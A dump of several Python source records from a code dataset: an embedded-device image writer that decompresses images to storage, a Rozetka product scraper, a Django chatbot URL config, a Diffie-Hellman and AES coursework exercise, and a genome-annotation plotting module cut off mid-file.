"api": [{"api_name": "functools.partial", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.apply_along_axis", "line_number": 80, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 115, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 148, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 164, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 167, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 196, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 200, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 204, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 208, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 212, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 219, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 223, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 227, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 231, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 235, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 242, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 265, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 269, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 275, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 276, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 294, "usage_type": "call"}, {"api_name": "itertools.groupby", "line_number": 296, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 299, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 303, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 309, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 310, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 340, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 341, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 347, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 348, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 354, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 355, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 365, "usage_type": "call"}, {"api_name": "time.time", "line_number": 495, "usage_type": "call"}, {"api_name": "time.time", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 500, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 501, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 501, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 502, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 503, "usage_type": "call"}, {"api_name": "time.time", "line_number": 513, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 514, "usage_type": "call"}, {"api_name": "time.time", "line_number": 518, "usage_type": "call"}, {"api_name": "time.time", "line_number": 528, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 529, "usage_type": "call"}, {"api_name": "time.time", "line_number": 533, "usage_type": "call"}, {"api_name": "time.time", "line_number": 538, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 540, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 541, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 541, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 542, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 547, "usage_type": "call"}, {"api_name": "time.time", "line_number": 552, "usage_type": "call"}, {"api_name": "time.time", "line_number": 562, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 563, "usage_type": "call"}, {"api_name": "time.time", "line_number": 567, "usage_type": "call"}, {"api_name": "time.time", "line_number": 577, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 578, "usage_type": "call"}, {"api_name": "time.time", "line_number": 582, "usage_type": "call"}, {"api_name": "time.time", "line_number": 588, "usage_type": "call"}, {"api_name": "time.time", "line_number": 600, "usage_type": "call"}, {"api_name": "time.time", "line_number": 613, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 614, "usage_type": "call"}, {"api_name": "time.time", "line_number": 618, "usage_type": "call"}, {"api_name": "time.time", "line_number": 629, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 630, "usage_type": "call"}, {"api_name": "time.time", "line_number": 634, "usage_type": "call"}, {"api_name": "time.time", "line_number": 640, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 645, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 656, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 656, "usage_type": "call"}, {"api_name": "numpy.apply_along_axis", "line_number": 657, "usage_type": "call"}, {"api_name": "time.time", "line_number": 659, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 660, "usage_type": "call"}, {"api_name": "time.time", "line_number": 663, "usage_type": "call"}, {"api_name": "time.time", "line_number": 666, "usage_type": "call"}, {"api_name": "time.time", "line_number": 672, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 675, "usage_type": "call"}, {"api_name": "time.time", "line_number": 689, "usage_type": "call"}, {"api_name": "time.time", "line_number": 697, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 698, "usage_type": "call"}, {"api_name": "time.time", "line_number": 702, "usage_type": "call"}, {"api_name": "time.time", "line_number": 707, "usage_type": "call"}, {"api_name": "time.time", "line_number": 715, "usage_type": "call"}, {"api_name": "time.time", "line_number": 718, "usage_type": "call"}]} {"seq_id": "43754748218", "text": "import bz2\nimport queue\nimport threading\nimport mtda.constants as CONSTS\nimport zlib\nimport zstandard as zstd\nimport lzma\n\n\nclass AsyncImageWriter(queue.Queue):\n\n def __init__(self, mtda, storage, compression=CONSTS.IMAGE.RAW):\n self.mtda = mtda\n self.storage = storage\n self.compression = compression\n self._blksz = CONSTS.WRITER.WRITE_SIZE\n self._exiting = False\n self._failed = False\n self._thread = None\n self._writing = False\n self._written = 0\n self._zdec = None\n super().__init__(maxsize=CONSTS.WRITER.QUEUE_SLOTS)\n\n @property\n def compression(self):\n self.mtda.debug(3, \"storage.writer.compression.get()\")\n\n result = self._compression\n\n self.mtda.debug(3, \"storage.writer.compression.get(): \"\n \"%s\" % str(result))\n return result\n\n @compression.setter\n def compression(self, compression):\n self.mtda.debug(3, \"storage.writer.compression.set()\")\n\n compression = CONSTS.IMAGE(compression)\n if compression == CONSTS.IMAGE.RAW:\n self._write = self.write_raw\n elif compression == CONSTS.IMAGE.BZ2:\n self._write = self.write_bz2\n elif compression == CONSTS.IMAGE.GZ:\n self._write = self.write_gz\n elif compression == CONSTS.IMAGE.ZST:\n self._write = self.write_zst\n elif compression == CONSTS.IMAGE.XZ:\n self._write = self.write_xz\n else:\n raise ValueError(\"unsupported image compression!\")\n self._compression = compression\n\n result = compression\n self.mtda.debug(3, \"storage.writer.compression.set(): \"\n \"%s\" % str(result))\n\n @property\n def failed(self):\n return self._failed\n\n def put(self, chunk, block=True, timeout=None):\n self.mtda.debug(3, \"storage.writer.put()\")\n\n if self.storage is None:\n self.mtda.debug(1, \"storage.writer.put(): no storage!\")\n raise IOError(\"no storage!\")\n result = super().put(chunk, block, timeout)\n # if thread is started and put data is not empty\n if len(chunk) > 0 and self._exiting is False:\n self._writing = True\n self.mtda.debug(3, \"storage.writer.put(): %s\" % str(result))\n return result\n\n def start(self):\n self.mtda.debug(3, \"mtda.storage.writer.start()\")\n\n result = None\n self._thread = threading.Thread(target=self.worker,\n daemon=True, name='writer')\n self._thread.start()\n\n self.mtda.debug(3, \"storage.writer.start(): %s\" % str(result))\n return result\n\n def stop(self):\n self.mtda.debug(3, \"storage.writer.stop()\")\n\n result = None\n self.mtda.debug(2, \"storage.writer.stop(): waiting on queue...\")\n self.join()\n\n if self._thread is not None:\n self.mtda.debug(2, \"storage.writer.stop(): waiting on thread...\")\n self._exiting = True\n self.put(b'')\n self._thread.join()\n\n self.mtda.debug(2, \"storage.writer.stop(): all done\")\n self._thread = None\n self._zdec = None\n\n self.mtda.debug(3, \"storage.writer.stop(): %s\" % str(result))\n return result\n\n def worker(self):\n self.mtda.debug(3, \"storage.writer.worker()\")\n\n result = None\n self._exiting = False\n self._failed = False\n self._written = 0\n while self._exiting is False:\n if self.empty():\n self._writing = False\n chunk = self.get()\n if self._exiting is False:\n try:\n self._write(chunk)\n except Exception as e:\n self.mtda.debug(1, \"storage.writer.worker(): {}\".format(e))\n self._failed = True\n self._writing = False\n pass\n self.task_done()\n if self._failed is True:\n self.mtda.debug(1, \"storage.writer.worker(): \"\n \"write or decompression error!\")\n\n self.mtda.debug(3, \"storage.writer.worker(): %s\" % str(result))\n return result\n\n def write_raw(self, data, session=None):\n self.mtda.debug(3, \"storage.writer.write_raw()\")\n\n result = None\n try:\n result = self.storage.write(data)\n except OSError as e:\n self.mtda.debug(1, \"storage.writer.write_raw(): {}\".format(e))\n raise\n\n self.mtda.debug(3, \"storage.writer.write_raw(): %s\" % str(result))\n return result\n\n def write_gz(self, data, session=None):\n self.mtda.debug(3, \"storage.writer.write_gz()\")\n\n # Create a zlib decompressor when called for the first time\n if self._zdec is None:\n self._zdec = zlib.decompressobj(16+zlib.MAX_WBITS)\n\n try:\n cont = True\n result = None\n while cont is True:\n uncompressed = self._zdec.decompress(data, self._blksz)\n data = self._zdec.unconsumed_tail\n cont = len(data) > 0\n result = self.storage.write(uncompressed)\n except (OSError, zlib.error) as e:\n self.mtda.debug(1, \"storage.writer.write_gz(): {}\".format(e))\n raise\n\n self.mtda.debug(3, \"storage.writer.write_gz(): %s\" % str(result))\n return result\n\n def write_bz2(self, data):\n self.mtda.debug(3, \"storage.writer.write_bz2()\")\n\n # Create a bz2 decompressor when called for the first time\n if self._zdec is None:\n self._zdec = bz2.BZ2Decompressor()\n\n try:\n cont = True\n result = None\n while cont is True:\n uncompressed = self._zdec.decompress(data, self._blksz)\n result = self.storage.write(uncompressed)\n cont = self._zdec.needs_input is False\n data = b''\n except EOFError:\n result = 0\n except OSError as e:\n self.mtda.debug(1, \"storage.writer.write_bz2(): {}\".format(e))\n raise\n\n self.mtda.debug(3, \"storage.writer.write_bz2(): %s\" % str(result))\n return result\n\n def write_zst(self, data):\n self.mtda.debug(3, \"storage.writer.write_zst()\")\n\n result = None\n # Create a decompressor when called for the first time\n if self._zdec is None:\n dctx = zstd.ZstdDecompressor()\n self._zdec = dctx.stream_writer(self.storage)\n try:\n result = self._zdec.write(data)\n except OSError as e:\n self.mtda.debug(1, \"storage.writer.write_zst(): {}\".format(e))\n raise\n\n self.mtda.debug(3, \"storage.writer.write_zst(): %s\" % str(result))\n return result\n\n def write_xz(self, data):\n self.mtda.debug(3, \"storage.writer.write_xz()\")\n\n # Create a xz decompressor when called for the first time\n if self._zdec is None:\n self._zdec = lzma.LZMADecompressor()\n\n try:\n cont = True\n result = None\n while cont is True:\n uncompressed = self._zdec.decompress(data, self._blksz)\n result = self.storage.write(uncompressed)\n cont = self._zdec.needs_input is False\n data = b''\n except EOFError:\n result = 0\n except OSError as e:\n self.mtda.debug(1, \"storage.writer.write_xz(): {}\".format(e))\n raise\n\n self.mtda.debug(3, \"storage.writer.write_xz(): %s\" % str(result))\n return result\n\n @property\n def writing(self):\n return self._writing\n\n @property\n def written(self):\n written = self.storage.tell()\n if written is not None:\n self._written = written\n return self._written\n", "repo_name": "siemens/mtda", "sub_path": "mtda/storage/writer.py", "file_name": "writer.py", "file_ext": "py", "file_size_in_byte": 7895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "queue.Queue", "line_number": 10, "usage_type": "attribute"}, {"api_name": "mtda.constants.IMAGE", "line_number": 12, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 12, "usage_type": "name"}, {"api_name": "mtda.constants", "line_number": 13, "usage_type": "name"}, {"api_name": "mtda.constants.WRITER", "line_number": 16, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 16, "usage_type": "name"}, {"api_name": "mtda.constants.WRITER", "line_number": 23, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 23, "usage_type": "name"}, {"api_name": "mtda.constants.IMAGE", "line_number": 39, "usage_type": "call"}, {"api_name": "mtda.constants", "line_number": 39, "usage_type": "name"}, {"api_name": "mtda.constants.IMAGE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 40, "usage_type": "name"}, {"api_name": "mtda.constants.IMAGE", "line_number": 42, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 42, "usage_type": "name"}, {"api_name": "mtda.constants.IMAGE", "line_number": 44, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 44, "usage_type": "name"}, {"api_name": "mtda.constants.IMAGE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 46, "usage_type": "name"}, {"api_name": "mtda.constants.IMAGE", "line_number": 48, "usage_type": "attribute"}, {"api_name": "mtda.constants", "line_number": 48, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 79, "usage_type": "call"}, {"api_name": "zlib.decompressobj", "line_number": 151, "usage_type": "call"}, {"api_name": "zlib.MAX_WBITS", "line_number": 151, "usage_type": "attribute"}, {"api_name": "zlib.error", "line_number": 161, "usage_type": "attribute"}, {"api_name": "bz2.BZ2Decompressor", "line_number": 173, "usage_type": "call"}, {"api_name": "zstandard.ZstdDecompressor", "line_number": 198, "usage_type": "call"}, {"api_name": "lzma.LZMADecompressor", "line_number": 214, "usage_type": "call"}]} {"seq_id": "22054908271", "text": "from bs4 import BeautifulSoup as bs\nimport requests \nimport csv\nfrom modules.csv_writer import write_csv_file, create_csv_file\nfrom modules.models import Product\n\n\ndef parse_html(url: str) -> csv:\n result = requests.get(url=url)\n soup = bs(result.text, 'lxml')\n category = soup.find(\"h1\", class_=\"catalog-heading ng-star-inserted\").text\n max_pages = get_max_pages(url=url)\n create_csv_file(category=category)\n\n page = 1\n count_pages = 0\n\n while page <= max_pages:\n list_products = []\n res = requests.get(f\"{url}page={page}/\")\n soup = bs(res.text, 'lxml')\n products = soup.find_all('li', class_='catalog-grid__cell catalog-grid__cell_type_slim ng-star-inserted')\n for product in products:\n id = product.find(\"div\", class_=\"g-id display-none\").text\n name = product.find(\"span\", class_=\"goods-tile__title\").text\n price = product.find(\"span\", class_=\"goods-tile__price-value\").text\n img = product.find(\"img\", class_=\"ng-lazyloaded\")\n image = img['src'] if img and 'src' in img.attrs else None\n link = product.find(\"a\", class_=\"goods-tile__heading ng-star-inserted\").get(\"href\")\n list_products.append(\n Product(id=id, name=name, price=price, link=link, image=image)\n )\n write_csv_file(category=category, products=list_products)\n count_pages += 1\n page += 1\n if count_pages >= max_pages:\n break\n\n\ndef get_max_pages(url: str) -> int:\n r = requests.get(url)\n soup = bs.BeautifulSoup(r.text, \"lxml\")\n pages = soup.find_all(\"a\", class_=\"pagination__link ng-star-inserted\")\n pages_values = [page.text for page in pages]\n return int(pages_values[-1])\n", "repo_name": "ch4zzy/rozetka-scraper", "sub_path": "modules/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 1755, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 9, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 10, "usage_type": "call"}, {"api_name": "modules.csv_writer.create_csv_file", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 20, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 21, "usage_type": "call"}, {"api_name": "modules.models.Product", "line_number": 31, "usage_type": "call"}, {"api_name": "modules.csv_writer.write_csv_file", "line_number": 33, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "name"}]} {"seq_id": "25500338338", "text": "from django.urls import path\nfrom .views import home, login, get_response, save_response, display\n\n\nurlpatterns = [\n path(\"\", login, name=\"login\"),\n path(\"home/\", home, name=\"home\"),\n path(\"request/\", get_response, name=\"request\"),\n path(\"response/\", save_response, name=\"response\"),\n path(\"display//\", display, name=\"display\"),\n]", "repo_name": "Miqbalniazi/techcomradery", "sub_path": "techcomradery_chatbot/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 354, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "views.login", "line_number": 6, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "views.home", "line_number": 7, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.get_response", "line_number": 8, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.save_response", "line_number": 9, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.display", "line_number": 10, "usage_type": "argument"}]} {"seq_id": "23893986002", "text": "\"\"\"\nAlice and Bob want to safely exchange secret messages. To do this, they need to:\n\nAgree on a symmetric key and establish a secure communication channel by running a Diffie-Hellman key exchange procedure\nUse the established symmetric key to encrypt messages to each other using a block cipher\nYour task is to help them out by implementing the SecureChannel class.\nThe SecureChannel class:\n\nReceives p and g , and randomizes an a . Note that when Bob uses this function, the parameter a is really his b \nIts publish() function returns ga(mod p) - this output is what Alice sends to Bob; Bob uses the same function (except that he gets a different value)\nIts encrypt() function receives gb(mod p) and some text, computes the shared secret S, and encrypts the text.\nIt converts the shared secret S into an encryption key for AES128 by casting it to a string of bytes, hashing it with SHA256,\nand using the first 16 bytes of the digest as the key. It then picks a random IV of 16 bytes, and uses PyCrypto's AES128 in CBC mode\nto encrypt the text. For simplicity's sake, the plaintext is always exactly 16 characters long. The encrypt() function returns the IV \nprepended to the encrypted message.\n\n\n\"\"\"\nimport random\nimport hashlib\nimport os\nfrom Crypto import Random\nfrom Crypto.Cipher import AES\n\n# you can use the imports, and you can solve with your own imports\n\np = 283\ng = 47\n\nlength = 16 #key\n\nclass SecureChannel:\n\n def __init__(self, p, g):\n self.p = p\n self.g = g\n self.a = random.randint(1, p)\n\n def publish(self):\n return pow(self.g,self.a,self.p)\n\n def encrypt(self, gb, text):\n S = pow(gb,self.a,self.p)\n sha256_S = hashlib.sha256()\n sha256_S.update(str(S).encode())\n hashed_S = sha256_S.digest()\n key = hashed_S[0:length]\n # generate IV\n IV = Random.new().read(AES.block_size)\n cipher = AES.new(key, AES.MODE_CBC,IV)\n ciphertxt = IV+cipher.encrypt(text)\n return ciphertxt # return iv + ciphertext (in bytes)\n\n\n\n\n\n", "repo_name": "djubran/intro-cyber-sec-campusIL", "sub_path": "Final_Exam/block_cipher_Diffie_Hellman.py", "file_name": "block_cipher_Diffie_Hellman.py", "file_ext": "py", "file_size_in_byte": 2045, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "random.randint", "line_number": 37, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 44, "usage_type": "call"}, {"api_name": "Crypto.Random.new", "line_number": 49, "usage_type": "call"}, {"api_name": "Crypto.Random", "line_number": 49, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.block_size", "line_number": 49, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.AES", "line_number": 49, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 50, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 50, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_CBC", "line_number": 50, "usage_type": "attribute"}]} {"seq_id": "10120922332", "text": "from typing import Dict, Optional, Tuple\n\nimport bokeh.models\nimport bokeh.plotting\nimport numpy as np\nimport pandas as pd\nfrom numpydoc_decorator import doc\nfrom pandas.io.common import infer_compression\n\nfrom ..util import (\n Region,\n check_types,\n parse_multi_region,\n parse_single_region,\n read_gff3,\n unpack_gff3_attributes,\n)\nfrom . import base_params, gplt_params\nfrom .base_params import DEFAULT\nfrom .genome_sequence import AnophelesGenomeSequenceData\n\n\nclass AnophelesGenomeFeaturesData(AnophelesGenomeSequenceData):\n def __init__(\n self,\n *,\n gff_gene_type: str,\n gff_default_attributes: Tuple[str, ...],\n **kwargs,\n ):\n # N.B., this class is designed to work cooperatively, and\n # so it's important that any remaining parameters are passed\n # to the superclass constructor.\n super().__init__(**kwargs)\n\n # TODO Consider moving these parameters to configuration, as they could\n # change if the GFF ever changed.\n self._gff_gene_type = gff_gene_type\n self._gff_default_attributes = gff_default_attributes\n\n # Setup caches.\n self._cache_genome_features: Dict[Tuple[str, ...], pd.DataFrame] = dict()\n\n @property\n def _geneset_gff3_path(self):\n return self.config[\"GENESET_GFF3_PATH\"]\n\n def geneset(self, *args, **kwargs):\n \"\"\"Deprecated, this method has been renamed to genome_features().\"\"\"\n return self.genome_features(*args, **kwargs)\n\n def _genome_features(self, *, attributes: Tuple[str, ...]):\n try:\n df = self._cache_genome_features[attributes]\n\n except KeyError:\n path = f\"{self._base_path}/{self._geneset_gff3_path}\"\n compression = infer_compression(path, compression=\"infer\")\n with self._fs.open(path, mode=\"rb\") as f:\n df = read_gff3(f, compression=compression)\n if attributes:\n df = unpack_gff3_attributes(df, attributes=attributes)\n self._cache_genome_features[attributes] = df\n\n return df\n\n def _genome_features_for_contig(self, *, contig: str, attributes: Tuple[str, ...]):\n debug = self._log.debug\n\n df = self._genome_features(attributes=attributes)\n\n debug(\"Apply contig query.\")\n return df.query(f\"contig == '{contig}'\")\n\n def _prep_gff_attributes(\n self, attributes: base_params.gff_attributes\n ) -> Tuple[str, ...]:\n if attributes is None:\n attributes_normed: Tuple[str, ...] = ()\n elif attributes == DEFAULT:\n attributes_normed = self._gff_default_attributes\n elif isinstance(attributes, str):\n attributes_normed = (attributes,)\n else:\n attributes_normed = tuple(attributes)\n return attributes_normed\n\n @check_types\n @doc(\n summary=\"Access genome feature annotations.\",\n returns=\"A dataframe of genome annotations, one row per feature.\",\n )\n def genome_features(\n self,\n region: Optional[base_params.regions] = None,\n attributes: base_params.gff_attributes = DEFAULT,\n ) -> pd.DataFrame:\n debug = self._log.debug\n\n attributes_normed = self._prep_gff_attributes(attributes)\n del attributes\n\n if region is not None:\n debug(\"Handle region.\")\n regions = parse_multi_region(self, region)\n del region\n\n debug(\"Apply region query.\")\n parts = []\n for r in regions:\n df_part = self._genome_features_for_contig(\n contig=r.contig, attributes=attributes_normed\n )\n if r.end is not None:\n df_part = df_part.query(f\"start <= {r.end}\")\n if r.start is not None:\n df_part = df_part.query(f\"end >= {r.start}\")\n parts.append(df_part)\n df = pd.concat(parts, axis=0)\n return df.reset_index(drop=True).copy()\n\n return (\n self._genome_features(attributes=attributes_normed)\n .reset_index(drop=True)\n .copy()\n )\n\n def genome_feature_children(\n self, parent: str, attributes: base_params.gff_attributes = DEFAULT\n ) -> pd.DataFrame:\n # Normalise attributes and ensure Parent is included.\n attributes_normed = self._prep_gff_attributes(attributes)\n if \"Parent\" not in attributes_normed:\n attributes_normed += (\"Parent\",)\n\n # Obtain dataframe of all genome features.\n df_gf = self._genome_features(attributes=attributes_normed).copy()\n\n # Split the Parent column and explode.\n # See also https://github.com/malariagen/malariagen-data-python/issues/334\n df_gf[\"Parent\"] = df_gf[\"Parent\"].str.split(\",\")\n df_gf = df_gf.explode(column=\"Parent\", ignore_index=True)\n\n # Query to find children of the requested parent.\n df_children = df_gf.query(f\"Parent == '{parent}'\")\n\n return df_children.copy()\n\n @check_types\n @doc(summary=\"Plot a transcript, using bokeh.\")\n def plot_transcript(\n self,\n transcript: base_params.transcript,\n sizing_mode: gplt_params.sizing_mode = gplt_params.sizing_mode_default,\n width: gplt_params.width = gplt_params.width_default,\n height: gplt_params.height = 100,\n show: gplt_params.show = True,\n x_range: Optional[gplt_params.x_range] = None,\n toolbar_location: Optional[\n gplt_params.toolbar_location\n ] = gplt_params.toolbar_location_default,\n title: gplt_params.title = True,\n ) -> gplt_params.figure:\n debug = self._log.debug\n\n debug(\"Find the transcript annotation.\")\n df_genome_features = self.genome_features().set_index(\"ID\")\n parent = df_genome_features.loc[transcript]\n\n if title is True:\n title = f\"{transcript} ({parent.strand})\"\n\n if x_range is None:\n x_range = bokeh.models.Range1d(\n parent.start - 2_000, parent.end + 2_000, bounds=\"auto\"\n )\n\n debug(\"Define tooltips for hover.\")\n tooltips = [\n (\"Type\", \"@type\"),\n (\"Location\", \"@contig:@start{,}-@end{,}\"),\n ]\n\n debug(\"Make a figure.\")\n xwheel_zoom = bokeh.models.WheelZoomTool(\n dimensions=\"width\", maintain_focus=False\n )\n fig = bokeh.plotting.figure(\n title=title,\n sizing_mode=sizing_mode,\n width=width,\n height=height,\n tools=[\"xpan\", \"xzoom_in\", \"xzoom_out\", xwheel_zoom, \"reset\", \"hover\"],\n toolbar_location=toolbar_location,\n active_scroll=xwheel_zoom,\n active_drag=\"xpan\",\n tooltips=tooltips,\n x_range=x_range,\n y_range=bokeh.models.Range1d(-0.6, 0.6),\n )\n\n debug(\"Find child components of the transcript.\")\n data = self.genome_feature_children(parent=transcript, attributes=None)\n data[\"bottom\"] = -0.4\n data[\"top\"] = 0.4\n\n debug(\"Plot exons.\")\n exons = data.query(\"type == 'exon'\")\n fig.quad(\n bottom=\"bottom\",\n top=\"top\",\n left=\"start\",\n right=\"end\",\n source=exons,\n fill_color=None,\n line_color=\"black\",\n line_width=0.5,\n fill_alpha=0,\n )\n\n debug(\"Plot introns.\")\n for intron_start, intron_end in zip(exons[:-1][\"end\"], exons[1:][\"start\"]):\n intron_midpoint = (intron_start + intron_end) / 2\n line_data = pd.DataFrame(\n {\n \"x\": [intron_start, intron_midpoint, intron_end],\n \"y\": [0, 0.1, 0],\n \"type\": \"intron\",\n \"contig\": parent.contig,\n \"start\": intron_start,\n \"end\": intron_end,\n }\n )\n fig.line(\n x=\"x\",\n y=\"y\",\n source=line_data,\n line_width=1,\n line_color=\"black\",\n )\n\n debug(\"Plot UTRs.\")\n fig.quad(\n bottom=\"bottom\",\n top=\"top\",\n left=\"start\",\n right=\"end\",\n source=data.query(\"type == 'five_prime_UTR'\"),\n fill_color=\"green\",\n line_width=0,\n fill_alpha=0.5,\n )\n fig.quad(\n bottom=\"bottom\",\n top=\"top\",\n left=\"start\",\n right=\"end\",\n source=data.query(\"type == 'three_prime_UTR'\"),\n fill_color=\"red\",\n line_width=0,\n fill_alpha=0.5,\n )\n\n debug(\"Plot CDSs.\")\n fig.quad(\n bottom=\"bottom\",\n top=\"top\",\n left=\"start\",\n right=\"end\",\n source=data.query(\"type == 'CDS'\"),\n fill_color=\"blue\",\n line_width=0,\n fill_alpha=0.5,\n )\n\n debug(\"Tidy up the figure.\")\n fig.yaxis.ticker = []\n self._bokeh_style_genome_xaxis(fig, parent.contig)\n\n if show: # pragma: no cover\n bokeh.plotting.show(fig)\n return None\n else:\n return fig\n\n @check_types\n @doc(\n summary=\"Plot a genes track, using bokeh.\",\n )\n def plot_genes(\n self,\n region: base_params.region,\n sizing_mode: gplt_params.sizing_mode = gplt_params.sizing_mode_default,\n width: gplt_params.width = gplt_params.width_default,\n height: gplt_params.genes_height = 120,\n show: gplt_params.show = True,\n toolbar_location: Optional[\n gplt_params.toolbar_location\n ] = gplt_params.toolbar_location_default,\n x_range: Optional[gplt_params.x_range] = None,\n title: Optional[gplt_params.title] = None,\n output_backend: gplt_params.output_backend = gplt_params.output_backend_default,\n ) -> gplt_params.figure:\n debug = self._log.debug\n\n debug(\"handle region parameter - this determines the genome region to plot\")\n resolved_region: Region = parse_single_region(self, region)\n del region\n\n debug(\"handle region bounds\")\n contig = resolved_region.contig\n start = resolved_region.start\n end = resolved_region.end\n if start is None:\n start = 0\n if end is None:\n end = len(self.genome_sequence(contig))\n\n debug(\"define x axis range\")\n if x_range is None:\n x_range = bokeh.models.Range1d(start, end, bounds=\"auto\")\n\n debug(\"select the genes overlapping the requested region\")\n data, tooltips = self._plot_genes_setup_data(region=resolved_region)\n\n debug(\n \"we're going to plot each gene as a rectangle, so add some additional columns\"\n )\n data[\"bottom\"] = np.where(data[\"strand\"] == \"+\", 1, 0)\n data[\"top\"] = data[\"bottom\"] + 0.8\n\n debug(\"tidy up missing values for presentation\")\n data.fillna(\"\", inplace=True)\n\n debug(\"make a figure\")\n xwheel_zoom = bokeh.models.WheelZoomTool(\n dimensions=\"width\", maintain_focus=False\n )\n fig = bokeh.plotting.figure(\n title=title,\n sizing_mode=sizing_mode,\n width=width,\n height=height,\n tools=[\n \"xpan\",\n \"xzoom_in\",\n \"xzoom_out\",\n xwheel_zoom,\n \"reset\",\n \"tap\",\n \"hover\",\n ],\n toolbar_location=toolbar_location,\n active_scroll=xwheel_zoom,\n active_drag=\"xpan\",\n tooltips=tooltips,\n x_range=x_range,\n y_range=bokeh.models.Range1d(-0.4, 2.2),\n output_backend=output_backend,\n )\n\n debug(\"add functionality to click through to vectorbase\")\n url = \"https://vectorbase.org/vectorbase/app/record/gene/@ID\"\n taptool = fig.select(type=bokeh.models.TapTool)\n taptool.callback = bokeh.models.OpenURL(url=url)\n\n debug(\"now plot the genes as rectangles\")\n fig.quad(\n bottom=\"bottom\",\n top=\"top\",\n 